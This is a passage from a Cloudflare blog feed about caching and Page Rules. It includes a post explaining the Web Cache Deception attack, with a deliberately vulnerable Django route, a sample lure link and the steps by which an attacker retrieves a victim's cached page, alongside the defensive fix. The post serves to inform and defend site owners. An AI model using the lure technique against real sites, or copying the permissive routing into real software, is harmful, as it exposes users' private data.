            <description><![CDATA[ Cloudflare provides numerous benefits to ecommerce sites, including advanced DDOS protection and an industry-leading Web Application Firewall (WAF) that helps secure your transactions and protect customers’ private data. ]]></description>
            <content:encoded><![CDATA[ <p>Cloudflare provides numerous benefits to <a href="https://www.cloudflare.com/ecommerce/">ecommerce sites</a>, including advanced DDOS protection and an industry-leading <a href="https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/">Web Application Firewall (WAF)</a> that helps secure your transactions and protect customers’ private data.</p><p>A key Cloudflare feature is caching, which allows content to be served closer to the end user from our global network of data centers. Doing so improves the user's shopping experience and contributes to increasing the proportion of people completing a purchase (conversion rate).</p><p>For example:</p><ul><li><p>Walmart found improving page load time by 1 second increased their conversion rate by 2%</p></li><li><p>Research for Amazon showed every 0.1 second of delay costs 1% of sales</p></li><li><p>The Barack Obama campaign website saw an 80% page load time boost resulted in a 14% increase in donations</p></li></ul>
    <div>
      <h3>What is caching?</h3>
      <a href="#what-is-caching">
        
      </a>
    </div>
    <p>Cloudflare <a href="https://www.cloudflare.com/network/">operates over 110 data centers around the world</a>. When a website implements Cloudflare, visitor requests for the site will proxy through the nearest Cloudflare data center instead of connecting directly to the webserver hosting the site (origin). This means Cloudflare can store content such as images, JavaScript, CSS and HTML on our servers, speeding up access to those resources for end-users.</p><p>Most ecommerce websites rely on a backend database containing product descriptions and metadata such as prices. Without caching, each visit to a product page might involve several database requests to pull all the required data, which can introduce added latency to page load time, particularly on a busy website. Serving the website's homepage and product pages from Cloudflare's cache not only eliminates these costly database calls, but also reduces the load on your origin infrastructure.</p><p>To make the most of Cloudflare and to help maximize the speed of your website, serve as much content as possible from the Cloudflare cache.</p>
    <div>
      <h3>How Cloudflare caching works</h3>
      <a href="#how-cloudflare-caching-works">
        
      </a>
    </div>
    <p>By default, Cloudflare caches static content based on a <a href="https://support.cloudflare.com/hc/en-us/articles/200172516-Which-file-extensions-does-CloudFlare-cache-for-static-content-">fixed list of file extensions</a> which includes assets such as images, CSS files and PDFs.</p><p>The reason Cloudflare only caches static content out of the box (and does not cache HTML content by default) is to avoid the risk of inappropriate data being cached. For example, if the shopping cart page is cached, then the next visitor might receive the cached version and see a cart with the incorrect contents. Therefore, while enabling more caching will let you make the most of Cloudflare, it requires careful and considered implementation.</p><p>Additional caching on Cloudflare can be enabled in one of two ways - using Page Rules or by sending cache headers from your origin. These two methods are explained in more detail <a href="https://support.cloudflare.com/hc/en-us/articles/202775670-How-Do-I-Tell-CloudFlare-What-to-Cache-">here</a>. In this blog post we’ll use Page Rules, but keep in mind you can use headers from your origin too.</p>
    <div>
      <h3>Using caching on ecommerce sites</h3>
      <a href="#using-caching-on-ecommerce-sites">
        
      </a>
    </div>
    <p>A typical HTML page on an ecommerce website will contain static content (such as the product description) and dynamic content such as:</p><ul><li><p>a header section which varies according to the visitor’s logged in state - e.g. if the user is logged in, it may offer the user a “Logged in as..." message</p></li><li><p>a basket section which populates as the user shops on the site</p></li></ul>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/693W6zmtTqjWk76TOCYqCB/ba2c2fb65d96f0b1985f6af9acbdf170/Cloudflare-Ecommerce-Best-Practices.png" />
            
            </figure><p>The user might have one or more session cookies to maintain these dynamic elements.</p><p>There are few ways to make the most of Cloudflare's caching, while taking into account the dynamic nature of ecommerce websites.</p>
    <div>
      <h3>Method 1: cache everything on Cloudflare but bypass the cache for private content</h3>
      <a href="#method-1-cache-everything-on-cloudflare-but-bypass-the-cache-for-private-content">
        
      </a>
    </div>
    <p><i>Note: the Bypass Cache on Cookie feature is only available on the Cloudflare Business and Enterprise </i><a href="https://www.cloudflare.com/plans/"><i>plans</i></a></p><p>Many visitors to a site will be brand new, first time visitors - in other words, they won’t be logged in to the site and won’t have any items in their basket.</p><p>Serving their request from the Cloudflare cache means they can quickly view the page they’re looking for (whether the homepage or a specific product page). As they're a brand new visitor, the entire page can be served from the Cloudflare cache.</p><p>With most ecommerce platforms, as soon as the user logs in to the site or adds an item to basket, a relevant cookie is sent to the browser.</p><p>Cloudflare can cache the pages, but will bypass the cache should Cloudflare receive either of the cookies from the browser.</p><p>This is achieved by introducing a <a href="https://support.cloudflare.com/hc/en-us/articles/200168306-Is-there-a-tutorial-for-Page-Rules-">Page Rule</a> with a “Bypass Cache on Cookie” setting:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2IMt5NxIQXyZGwv8JniGgH/fc7ddf4c27b19c984e804815bbcd0958/pagerulesettings.png" />
            
            </figure><p>In the above example, the Page Rule will cause all requests to the site to serve from cache, unless the web browser has sent a cookie named “loggedin” or “iteminbasket”.</p><p>Obviously every ecommerce platform is different, so always think through your settings and ensure you use the correct cookie values to ensure that there is no risk of private data (e.g. someone’s shopping basket) being served from cache and shown to another visitor.</p>
    <div>
      <h3>Method 2: Populating via JavaScript / AJAX</h3>
      <a href="#method-2-populating-via-javascript-ajax">
        
      </a>
    </div>
    <p>A better solution would be to serve the entirety of the page from cache, but populate the dynamic elements using JavaScript / AJAX.</p><p>This means Cloudflare will serve the bulk of the page content and only small requests will pass (via Cloudflare) direct to origin to populate dynamic elements such as the basket contents.</p><p>To configure this, use a Page Rule with Cache Level “Cache Everything” for the static content and another Page Rule with Cache Level “Bypass” for the dynamic (AJAX) requests.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4WRx5BjGEX5GQ6EUppvg3j/af57c919e57567ae1c6f933a177c7301/page_rules_to_bypass_cache_and_cache.png" />
            
            </figure><p>In this example, any requests going to <code>www.example.com/ajax/basket_contents.php</code> and <code>www.example.com/ajax/logged-in-state.php</code> would match the first Page Rule, which has cache level “Bypass” - Cloudflare will proxy the request but the request won't touch the Cloudflare cache.</p><p>Other requests, e.g. to <code>www.example.com/products/product_page</code> would not match the first Page Rule but would instead match the second “Cache Everything” Page Rule - thus the product page is served from the Cloudflare cache. Within that product page, the dynamic elements (such as the basket contents and the logged in state) are dynamically populated using the AJAX requests.</p><p>You should also consider introducing additional appropriate Page Rules for special pages such as the checkout pages - for example, you may wish to create a Page Rule that bypasses the cache for all the checkout pages.</p><p>Remember: only one Page Rule will execute for any given request, and Page Rules are processed in the order they exist in the Cloudflare control panel. Read over our <a href="https://support.cloudflare.com/hc/en-us/articles/200168306-Is-there-a-tutorial-for-Page-Rules-">Page Rules tutorial</a> to better understand how they work.</p>
    <div>
      <h3>Optimizing further: using Railgun</h3>
      <a href="#optimizing-further-using-railgun">
        
      </a>
    </div>
    <p><i>Note: the Railgun feature is only available on the Cloudflare Business and Enterprise </i><a href="https://www.cloudflare.com/plans/"><i>plans</i></a></p><p>Cloudflare’s Railgun technology optimizes the connection between Cloudflare and the website origin, for accelerating dynamic HTML content - content that can't be served from the Cloudflare cache.</p><p>Railgun helps in two ways:</p><ul><li><p>Establishing a persistent connection between Cloudflare and the website origin (to speed up initial connection times)</p></li><li><p>Compressing the data that passes from the origin to Cloudflare by only sending content that has changed</p></li></ul><p>Before Railgun:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4ooTWlxFNJ60jWwvzKEy1P/ee1a734c9c1021d84556e048558f6789/railgun-diagram-how-it-works-without.svg" />
            
            </figure><p>After Railgun:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4uX10OAM7zEqKm80XibrHk/f9d89979ed91184eec0bd20b7d04dbc2/railgun-diagram-how-it-works-with.svg" />
            
            </figure><p>Railgun can happily be used in conjunction with the previously discussed caching methods.</p><p>If you’ve implemented method 1 (the bypass cache on cookie method) then Railgun will accelerate the requests which pass directly to origin due to the presence of the relevant bypass cache cookies.</p><p>Method 2 (caching everything on Cloudflare except AJAX calls to populate dynamic sections) is already more efficient than method 1. Railgun can still be used to further accelerate the AJAX requests that pass from Cloudflare to origin.</p><p>Railgun is a little more advanced as it requires installation of a small software package on (or very close to) the origin webserver to handle the compression. You can <a href="https://www.cloudflare.com/website-optimization/railgun/">read more about Railgun here</a> and find the <a href="https://www.cloudflare.com/docs/railgun/">installation documentation here</a>.</p><p>Ideally a <a href="https://www.cloudflare.com/solutions/ecommerce/optimization/">well optimized ecommerce website</a> will leverage our caching service as much as possible - serving images, CSS and JavaScript from Cloudflare's network, in addition to as much static HTML content as possible. Adding our Railgun service to accelerate those inevitable non-cachable requests to the origin webserver will help create a fantastic, speedy shopping experience for your customers.</p> ]]></content:encoded>
            <category><![CDATA[eCommerce]]></category>
            <category><![CDATA[Page Rules]]></category>
            <category><![CDATA[Railgun]]></category>
            <category><![CDATA[JavaScript]]></category>
            <category><![CDATA[DDoS]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Speed & Reliability]]></category>
            <category><![CDATA[Cache]]></category>
            <category><![CDATA[Best Practices]]></category>
            <guid isPermaLink="false">6pRC8uOyLFDKH8RZahQ2WD</guid>
            <dc:creator>Nick B</dc:creator>
        </item>
        <item>
            <title><![CDATA[Understanding Our Cache and the Web Cache Deception Attack]]></title>
            <link>https://blog.cloudflare.com/understanding-our-cache-and-the-web-cache-deception-attack/</link>
            <pubDate>Fri, 14 Apr 2017 15:00:00 GMT</pubDate>
            <description><![CDATA[ About a month ago, security researcher Omer Gil published the details of an attack that he calls the Web Cache Deception attack. It works against sites that sit behind a reverse proxy (like Cloudflare) and are misconfigured in a particular way. ]]></description>
            <content:encoded><![CDATA[ <p>About a month ago, security researcher <a href="https://twitter.com/omer_gil">Omer Gil</a> published <a href="https://omergil.blogspot.co.il/2017/02/web-cache-deception-attack.html">the details</a> of an attack that he calls the Web Cache Deception attack. It works against sites that sit behind a reverse proxy (like Cloudflare) and are misconfigured in a particular way. Unfortunately, the definition of "misconfigured" for the purposes of this attack changes depending on how the cache works. In this post, we're going to explain the attack and then describe the algorithm that our cache uses to decide whether or not to cache a given piece of content so that customers can be sure that they are secure against this attack.</p>
    <div>
      <h3>The Attack</h3>
      <a href="#the-attack">
        
      </a>
    </div>
    <p>First, we'll explain the basics of the Web Cache Deception attack. For those who want a more in-depth explanation, Omer's <a href="https://omergil.blogspot.co.il/2017/02/web-cache-deception-attack.html">original post</a> is a great resource.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3Wy262IiC2ykqjHqHRbOwk/ac8fc41024662ee444219734662f9f9b/one-way.jpg" />
            
            </figure><p>CC <a href="https://creativecommons.org/licenses/by-sa/2.0/">BY-SA 2.0</a> - <a href="https://www.flickr.com/photos/shelleygibb/2700437267/in/photolist-57CrVe-i4jqNw-gmjSdW-b4eUjD-gmk8in-cFq3pN-2uVYE-2juSjD-d7gDoh-7ac96c-ytw77e-6k2Mw-9NnUjX-6oC4tp-9wFsmg-dsd8bt-bDTPG3-co2zqU-jFdVgc-5DHRZA-66H4P6-7jaCZF-848i8G-9aUjGk-bWVLYW-aCJNHD-buaVVA-nGA4V-soHrms-9quZAv-6MsSqe-nBG2bz-dsd7HT-d7gyTS-9kCfi-4F5xjK-cYYz9N-fFUYF-fQuqJw-dQZTkX-cNMqMJ-qrNmAB-aCJPui-dQXj68-87UrJH-phtpFE-997rCh-oA1ezU-nwpSdp-kswDL6/">image</a> by <a href="https://www.flickr.com/photos/shelleygibb/">shelleygibb</a></p><p>Imagine that you run the social media website <code>example.com</code>, and that each of your users has a newsfeed at <code>example.com/newsfeed</code>. When a user navigates to their newsfeed, the HTTP request generated by their browser might look something like this:</p>
            <pre><code>GET /newsfeed HTTP/1.1
Host: example.com
...</code></pre>
            <p>If you use Cloudflare, you don't want us to cache this request because if we did, some of your users might start seeing other users' newsfeeds instead of their own, which would be very bad. Luckily, as we'll explain below, this request won't be cached because the path in the request (the <code>/newsfeed</code> part) doesn't have a "cacheable file extension" (a file extension such as <code>.jpg</code> or <code>.css</code> that instructs Cloudflare that it's OK to cache the request).</p><p>The trouble begins if your website is configured to be flexible about what kinds of paths it can handle. In particular, the issue arises when requests to a path that doesn't exist (say, <code>/x/y/z</code>) are treated as equivalent to requests to a parent path that <i>does</i> exist (say, <code>/x</code>). For example, what happens if you get a request for the nonexistent path <code>/newsfeed/foo</code>? Depending on how your website is configured, it might just treat such a request as equivalent to a request to <code>/newsfeed</code>. For example, if you're running the <a href="https://docs.djangoproject.com/en/1.10/topics/http/urls/">Django web framework</a>, the following configuration would do just that because the regular expression <code>^newsfeed/</code> matches both <code>newsfeed/</code> and <code>newsfeed/foo</code> (Django routes omit the leading <code>/</code>):</p>
            <pre><code>from django.conf.urls import url

patterns = [url(r'^newsfeed/', ...)]</code></pre>
            <p>And here's where the problem lies. If your website does this, then a request to <code>/newsfeed/foo.jpg</code> will be treated as the same as a request to <code>/newsfeed</code>. But Cloudflare, seeing the <code>.jpg</code> file extension, will think that it's OK to cache this request.</p><p>Now, you might be thinking, "So what? My website never has any links to <code>/newsfeed/foo.jpg</code> or anything like that." That's true, but that doesn't stop <i>other</i> people from trying to convince your users to visit paths like that. For example, an attacker could send this message to somebody:</p><blockquote><p>Hey, check out this cool link! <a href="https://example.com/newsfeed/foo.jpg">https://example.com/newsfeed/foo.jpg</a></p></blockquote><p>If the recipient of the message clicks on the link, they will be taken to their newsfeed. But when the request passes through Cloudflare, since the path ends in `.jpg`, we will cache it. Then the attacker can visit the same URL themselves and their request will be served from our cache, exposing your user's sensitive content.</p>
    <div>
      <h3>Defending Against the Web Cache Deception Attack</h3>
      <a href="#defending-against-the-web-cache-deception-attack">
        
      </a>
    </div>
    <p>The best way to defend against this attack is to ensure that your website isn't so permissive, and never treats requests to nonexistent paths (say, <code>/x/y/z</code>) as equivalent to requests to valid parent paths (say, <code>/x</code>). In the example above, that would mean that requests to <code>/newsfeed/foo</code> or <code>/newsfeed/foo.jpg</code> wouldn't be treated as equivalent to requests to <code>/newsfeed</code>, but would instead result in some kind of error or a redirect to a legitimate page. If we wanted to modify the Django example from above, we could add a <code>$</code> to the end of the regular expression to ensure only exact matches (in this case, a request to <code>/newsfeed/foo</code> will <a href="https://docs.djangoproject.com/en/1.10/topics/http/urls/#error-handling">result in a 404</a>):</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/EctCR6DDUYFIWG9EatWeC/be0902c6bc2d5e558554c3e31c63ec43/Screen-Shot-2018-01-19-at-10.23.10-AM.png" />
            
            </figure><p>We provide many settings that allow you to customize the way our cache will treat requests to your website. For example, if you have a Page Rule enabled for <code>/newsfeed</code> with the Cache Everything setting enabled (it's off by default), then we'll cache requests to <code>/newsfeed</code>, which could be bad. Thus, the best way to <a href="https://www.cloudflare.com/learning/security/glossary/website-security-checklist/">ensure that your website is secure</a> is to understand the rules that our cache uses to determine whether or not a request should be cached.</p>
    <div>
      <h3>How Our Cache Works</h3>
      <a href="#how-our-cache-works">
        
      </a>
    </div>
    <p>When a request comes in to our network, we perform two phases of processing in order to determine whether or not to cache the origin's response to that request:</p><ul><li><p>In the <i>eligibility phase</i>, which is performed when a request first reaches our edge, we inspect the request to determine whether it should be eligible for caching. If we determine that it is not eligible, then we will not cache it. If we determine that it is eligible, then we proceed to a second disqualification phase.</p></li><li><p>In the <i>disqualification phase</i>, which is performed after we've received a response from the origin web server, we inspect the response to determine whether any characteristics disqualify the response from being cached. If nothing disqualifies it, then the response will be cached.</p></li></ul>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2TLTgYd4yL4nBAkczqkQHn/c90ac4770733d951a17a54c815516693/page-rule-modal.png" />
            
            </figure><p>_Configuring caching via a Page Rule_</p><p>Note that site-wide settings or Page Rules can affect this logic. Below, when we say "a setting applies" or "the setting is," we mean that either a global setting exists which applies to all requests or a Page Rule with the setting exists that applies to the given request (e.g., a Page Rule for <code>/foo/*</code> applies to requests to <code>/foo/bar</code>, <code>/foo/baz</code>, <code>/foo/bar/baz</code>, etc). Page Rules override global rules if both apply to a given request.</p>
    <div>
      <h3>Eligibility Phase</h3>
      <a href="#eligibility-phase">
        
      </a>
    </div>
    <p>In the <i>eligibility phase</i>, we use characteristics of the request from the client to determine whether or not the request is eligible to be cached. If the request is not eligible, then it will not be cached. If the request is eligible, then we will perform more processing later in the disqualification phase.</p><p>The rules for eligibility are as follows:</p><ul><li><p>If the setting is Standard, Ignore Query String, or No Query String, then:</p><ul><li><p>a request is eligible to be cached if the requested path ends in one of the file extensions listed in Figure 1 below</p></li><li><p>a request <i>may</i> be eligible to be cached (depending on performance-related decisions made by our edge) if the requested path ends in one of the file extensions listed in Figure 2 below</p></li><li><p>a request is eligible to be cached if the request path is <code>/robots.txt</code></p></li></ul></li><li><p>If the setting is Cache Everything, then all requests are eligible to be cached.</p></li></ul><p>In addition to the above rules, if either of the following two conditions hold, then any decision made so far about eligibility will be overridden, and the request will not be eligible to be cached:</p><ul><li><p>If the Cache on Cookie setting is enabled and the configured cookie is <i>not</i> present in a <code>Cookie</code> header, then the request is not eligible to be cached.</p></li><li><p>If the Bypass Cache on Cookie setting is enabled and the configured cookie <i>is</i> present in a <code>Cookie</code> header, then the request is not eligible to be cached.</p></li></ul>
    <div>
      <h3>Disqualification Phase</h3>
      <a href="#disqualification-phase">
        
      </a>
    </div>
    <p>In the <i>disqualification phase</i>, which only occurs if a request has been marked as eligible, characteristics of the response from the origin web server can disqualify a request. If a request is disqualified, then the response will not be cached. If a request is not disqualified, then the response will be cached.</p><p>The rules for disqualification are as follows:</p><ul><li><p>If the setting is Standard, Ignore Query String, or No Query String, or if the setting is Cache Everything <i>and</i> no Edge Cache TTL is present, then:</p><ul><li><p>A <code>Cache-Control</code> header in the response from the origin with any of the following values will disqualify a request, causing it not to be cached:</p><ul><li><p><code>no-cache</code></p></li><li><p><code>max-age=0</code></p></li><li><p><code>private</code></p></li><li><p><code>no-store</code></p></li></ul></li><li><p>An <code>Expires</code> header in the response from the origin indicating any time in the past will disqualify a request, causing it not to be cached.</p></li></ul></li><li><p>If the setting is Cache Everything and an Edge Cache TTL <i>is</i> present, then a request will never be disqualified under any circumstances, and will always be cached.</p></li></ul><p>There is one further set of rules relating to the <code>Set-Cookie</code> header. The following rules only apply if a <code>Set-Cookie</code> header is present:</p><ul><li><p>If the setting is Standard, Ignore Query String, or No Query String, or if the setting is Cache Everything and an Edge Cache TTL is present, then the request will not be disqualified, but the <code>Set-Cookie</code> header will be stripped from the version of the response stored in our cache.</p></li><li><p>If the setting is Cache Everything and no Edge Cache TTL is present, then the request will be disqualified, and it will not be cached. The <code>Set-Cookie</code> header will be stripped from the response that is sent to the client making the request.</p></li></ul>
            <pre><code>class
css
jar
js
jpg
jpeg
gif
ico
png
bmp
pict
csv
doc
docx
xls
xlsx
ps
pdf
pls
ppt
pptx
tif
tiff
ttf
otf
webp
woff
woff2
svg
svgz
eot
eps
ejs
swf
torrent
midi
mid</code></pre>
            <p>_Figure 1: Always Cacheable File Extensions_</p>
            <pre><code>mp3
mp4
mp4v
mpg
mpeg
mov
mkv
flv
webm
wmv
avi
ogg
m4a
wav
aac
ogv
zip
sit
tar
7z
rar
rpm
deb
dmg
iso
img
msi
msp
msm
bin
exe
dll
ra
mka
ts
m4v
asf
mk3d
rm
swf</code></pre>
            <p>_Figure 2: Sometimes Cacheable File Extensions_</p><p>So there you have it. So long as you make sure to follow the advice above, and make sure that your site plays nicely with our cache, you should be secure against the Web Cache Deception attack.</p> ]]></content:encoded>
            <category><![CDATA[Page Rules]]></category>
            <category><![CDATA[Attacks]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Reliability]]></category>
            <category><![CDATA[Best Practices]]></category>
            <category><![CDATA[Cache]]></category>
            <category><![CDATA[Speed & Reliability]]></category>
            <guid isPermaLink="false">6XM5d3s0P5kafUnEofmpM2</guid>
            <dc:creator>Joshua Liebow-Feeser</dc:creator>
        </item>
        <item>
            <title><![CDATA[Caching Anonymous Page Views]]></title>
            <link>https://blog.cloudflare.com/caching-anonymous-page-views/</link>
            <pubDate>Mon, 12 Dec 2016 17:15:19 GMT</pubDate>
            <description><![CDATA[ The load time of your website not only affects your search engine rankings, but is also correlated to the conversion rate on your site. ]]></description>
            <content:encoded><![CDATA[ <p></p><p> <i>M42 Smart Motorway in the West Midlands, UK; courtesy of </i><a href="https://www.flickr.com/photos/highwaysengland/17222688041/in/album-72157658694793213/"><i>Highways England</i></a><i>.</i></p><p>The load time of your website not only affects your search engine rankings, but is also correlated to the conversion rate on your site:</p><ul><li><p>Walmart.com <a href="http://www.webperformancetoday.com/2012/02/28/4-awesome-slides-showing-how-page-speed-correlates-to-business-metrics-at-walmart-com/">found</a> that for every 1 second of page speed improvement, they experienced a 2% increase in conversion rate.</p></li><li><p>Greg Linden's presentation <a href="http://www.gduchamp.com/media/StanfordDataMining.2006-11-28.pdf">Make Data Useful</a> demonstrated through A/B Testing every 100ms in page load time delays led to a 1% loss of sales for Amazon.</p></li><li><p>Kyle Rush from the 2011 Obama for America campaign site showed a 3 second page load speed improvement <a href="https://moz.com/blog/how-to-improve-your-conversion-rates-with-a-faster-website">increased on-site donations</a> by 14% (resulting in over $34 million in donations).</p></li></ul><p>Cloudflare is determined to help website administrators boost the performance of their websites. From today, Cloudflare users on our Business plan will gain a previously Enterprise-only Page Rule option, “Bypass Cache on Cookie”. When used in conjunction with a “Cache Everything” Page Rule, this setting allows for websites to cache the HTML of anonymous page visits without affecting dynamic content.</p><p>By caching anonymous page views, Cloudflare is able to help ensure that your origin webserver doesn't waste time constantly regenerating pages which change rarely. This ultimately allows us to reduce load on your server and reduce load times when users reach your site.</p>
    <div>
      <h3>Caching HTML</h3>
      <a href="#caching-html">
        
      </a>
    </div>
    
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/61o2qXoqWmX9UNbIploYzf/b4ea23ecf98deebbdc918bb1163297d4/bypass-cache-cookie-wordpress.png" />
            
            </figure><p>Cloudflare <a href="https://support.cloudflare.com/hc/en-us/articles/200172516-Which-file-extensions-does-CloudFlare-cache-for-static-content-">automatically caches static resources</a> such as JavaScript, CSS and Images. Additionally, it is possible on all plans to instruct Cloudflare to cache static HTML using a “Cache Everything” Page Rule.</p><p>With static HTML, it is easy to work out what should and should not be cached - the response is exactly the same from request-to-request. However, this gets more complicated when you put a login form and a shopping cart into the mix. Once the user logs-in or adds a product to their shopping cart, the HTML being rendered is then personalised to them.</p><p>As HTTP is a stateless protocol; in order for a web application to determine which users need dynamic content, cookies are used. When the “Bypass Cache on Cookie” rule is matched, Cloudflare will bypass the “Cache Everything” rule and fetch HTML from the origin. Where a cookie is not set, Cloudflare abide by the "Cache Everything" rule and will seek to cache the static HTML for a given request.</p><p>Our Bypass Cache on Cookie setting allows for wildcard (“.*”) operators and OR pipe operators (“|”). Additionally, you are able to customise the cache TTL on our servers using the “Edge Cache TTL” option in Page Rule settings.</p><p>When your anonymous page views change, you can purge the cache using our web interface, our API or our <a href="https://www.cloudflare.com/integrations/">platform integrations</a>.</p><p>We have a number of tutorials on our Knowledge Base on how you can set this up with a variety of platforms:</p><ul><li><p><a href="https://support.cloudflare.com/hc/en-us/articles/236166048">Caching Anonymous Page Views with WordPress or WooCommerce</a></p></li><li><p><a href="https://support.cloudflare.com/hc/en-us/articles/236168808">Caching Anonymous Page Views with Magento 1 and Magento 2</a></p></li><li><p><a href="https://support.cloudflare.com/hc/en-us/articles/200172256-How-do-I-cache-static-HTML-">How do I cache static HTML?</a></p></li></ul><p>Want to go further? This setting can be used in conjunction with the <a href="https://www.cloudflare.com/website-optimization/railgun/">Railgun web optimizer</a>, which can speed up the delivery of dynamic content that cannot be cached.</p><p>Above this, Cloudflare’s Enterprise users have the option of taking their caching to the next level by using our Custom Cache Key functionality alongside other Page Rule options such as “Cache by Device Type” or “Cache on Cookie”.</p> ]]></content:encoded>
            <category><![CDATA[Page Rules]]></category>
            <category><![CDATA[Railgun]]></category>
            <category><![CDATA[Speed & Reliability]]></category>
            <category><![CDATA[Cache]]></category>
            <guid isPermaLink="false">306UtO4EPYrdw9mtZqBP0n</guid>
            <dc:creator>Junade Ali</dc:creator>
        </item>
        <item>
            <title><![CDATA[You Can Finally Get More Page Rules For 5 For $5]]></title>
            <link>https://blog.cloudflare.com/5-more-page-rules-for-5-dollars/</link>
            <pubDate>Thu, 25 Aug 2016 16:01:53 GMT</pubDate>
            <description><![CDATA[ Since CloudFlare launched Page Rules in 2012, our Free, Pro and Business users have been asking for a way to get more Page Rules without committing to the next plan up. Starting today, anyone on CloudFlare can add 5 additional Page Rules for just $5/month. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Since CloudFlare <a href="/introducing-pagerules-fine-grained-feature-co/">launched Page Rules in 2012</a>, our Free, Pro and Business users have been asking for a way to get more Page Rules without committing to the next plan up. Starting today, anyone on CloudFlare can <a href="https://cloudflare.com/a/page-rules">add 5 additional Page Rules</a> for just $5/month.</p><p>Page Rules allows you to fine tune your site speed and to apply CloudFlare’s wide range of features to specific parts of your site. Page Rules are also <a href="https://api.cloudflare.com/#page-rules-for-a-zone-properties">accessible over our API</a>, so you can integrate them into your build process or sync them across your domains.</p><p>To help you get the most out of Page Rules, we’re also launching a <a href="https://www.cloudflare.com/features-page-rules/">tutorial site</a> that features videos to help you setup Page Rules for specific content management systems like <a href="https://www.cloudflare.com/features-page-rules/optimize-wordpress/">WordPress</a>, <a href="https://www.cloudflare.com/features-page-rules/optimize-magento/">Magento</a> and <a href="https://www.cloudflare.com/features-page-rules/optimize-drupal/">Drupal</a>, and for specific goals like <a href="https://www.cloudflare.com/features-page-rules/optimize-speed/">optimizing your website's speed</a>, <a href="https://www.cloudflare.com/features-page-rules/harden-security/">increasing security</a>, and <a href="https://www.cloudflare.com/features-page-rules/maximize-bandwidth/">saving on your bandwidth costs</a>.</p> ]]></content:encoded>
            <category><![CDATA[Product News]]></category>
            <category><![CDATA[Page Rules]]></category>
            <category><![CDATA[Optimization]]></category>
            <guid isPermaLink="false">3tobeIKGZHstJAvZtu3t5R</guid>
            <dc:creator>Dani Grant</dc:creator>
        </item>
        <item>
            <title><![CDATA[Today Is A Big Day For Page Rules]]></title>
            <link>https://blog.cloudflare.com/today-is-a-big-day-for-page-rules-2/</link>
            <pubDate>Tue, 19 Apr 2016 16:15:13 GMT</pubDate>
            <description><![CDATA[ Today we're releasing a whole suite of upgrades to page rules: API support, additional settings, pausing a page rule and a mobile-friendly design.  ]]></description>
            <content:encoded><![CDATA[ <p>Today we're releasing a whole suite of upgrades to page rules: API support, additional settings, pausing a page rule and a mobile-friendly design. Page Rules is the technology that allows you to configure your CloudFlare settings on a per-URL basis. It's often our most powerful feature, enabling CloudFlare domain owners to customize CloudFlare's functionality to exactly match their application's needs.</p>
    <div>
      <h3>Announcing API Support For Page Rules</h3>
      <a href="#announcing-api-support-for-page-rules">
        
      </a>
    </div>
    <p>Page Rules are now fully programmable via API.</p>
            <pre><code>$ curl -X POST "https://api.cloudflare.com/client/v4/zones/${ZONE_TAG}/pagerules" \
    -H "X-Auth-Email: user@example.com" \
    -H "X-Auth-Key: 000000000000" \
    -H "Content-Type: application/json" \
    --data '{
        "targets":[{
            "target":"url",
            "constraint":{
                    "operator":"matches",
                    "value":"*example.com/images/*"
            }
        }],
        "actions":[{
            "id":"always_online",
            "value":"on"
        }],
        "priority":1,
        "status":"active"
    }'</code></pre>
            <p>Starting today, you can script the creation and modification of page rules. You can integrate page rules into your deployment process to bypass caching on every new API endpoint you ship, or to automatically sync your page rules across your domains on CloudFlare. <a href="https://api.cloudflare.com/#page-rules-for-a-zone-create-a-page-rule">Check out the page rules API docs</a> and get started today. We can't wait to see what automations you build.</p>
    <div>
      <h3>13 New Settings Now Available On Page Rules</h3>
      <a href="#13-new-settings-now-available-on-page-rules">
        
      </a>
    </div>
    <p>Instead of the short list of settings you could previously toggle, we've added menus with almost every setting on CloudFlare. You can see the full list of settings now available in page rules <a href="https://support.cloudflare.com/hc/en-us/articles/218411427">here</a>. Moreover, as we introduce features, they will automatically be added to page rules.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7rZVpFjdpiIRZxjH8KvMa1/4fbf8bf208c150eabc23ef7e6516b9eb/Screen-Shot-2016-04-18-at-5-41-19-PM-2.png" />
            
            </figure>
    <div>
      <h3>Pause A Page Rule</h3>
      <a href="#pause-a-page-rule">
        
      </a>
    </div>
    <p>To make debugging page rules easier, we've added a way for you to pause a page rule, temporarily taking it out of production while saving its current configuration. Previously to debug, you'd have to remove a page rule, and then later re-add it from scratch, somehow remembering all of its configuration. Now you can just toggle page rules on and off to take them out of production and reinstate them.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/21xvt0PY7t8qHopFjnVHG0/e0b72f690685e29eccdcdcb2c2aa233e/Screen-Shot-2016-04-18-at-5-44-46-PM.png" />
            
            </figure><p>Even when you're initially creating page rules, you can start them off as paused so that you can save your draft and come back later to finish writing the page rule and deploy it.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5GayTGEeXhtg2nZCnjsWss/63429bee71113e75e36f1e8db871bc98/Screen-Shot-2016-04-18-at-5-46-32-PM.png" />
            
            </figure><p>You can even edit page rules while they are paused, meaning that you can make unlimited changes to a page rule until you choose to finally deploy it into production.</p>
    <div>
      <h3>Manage Your Page Rules On The Go</h3>
      <a href="#manage-your-page-rules-on-the-go">
        
      </a>
    </div>
    <p>We've removed the old page rules iframe and replaced it with a brand new management panel that not only makes page rules even easier to set up and deploy, it's also perfectly responsive to any device so that you can configure page rules on the go from your phone.</p>
            <figure>
            
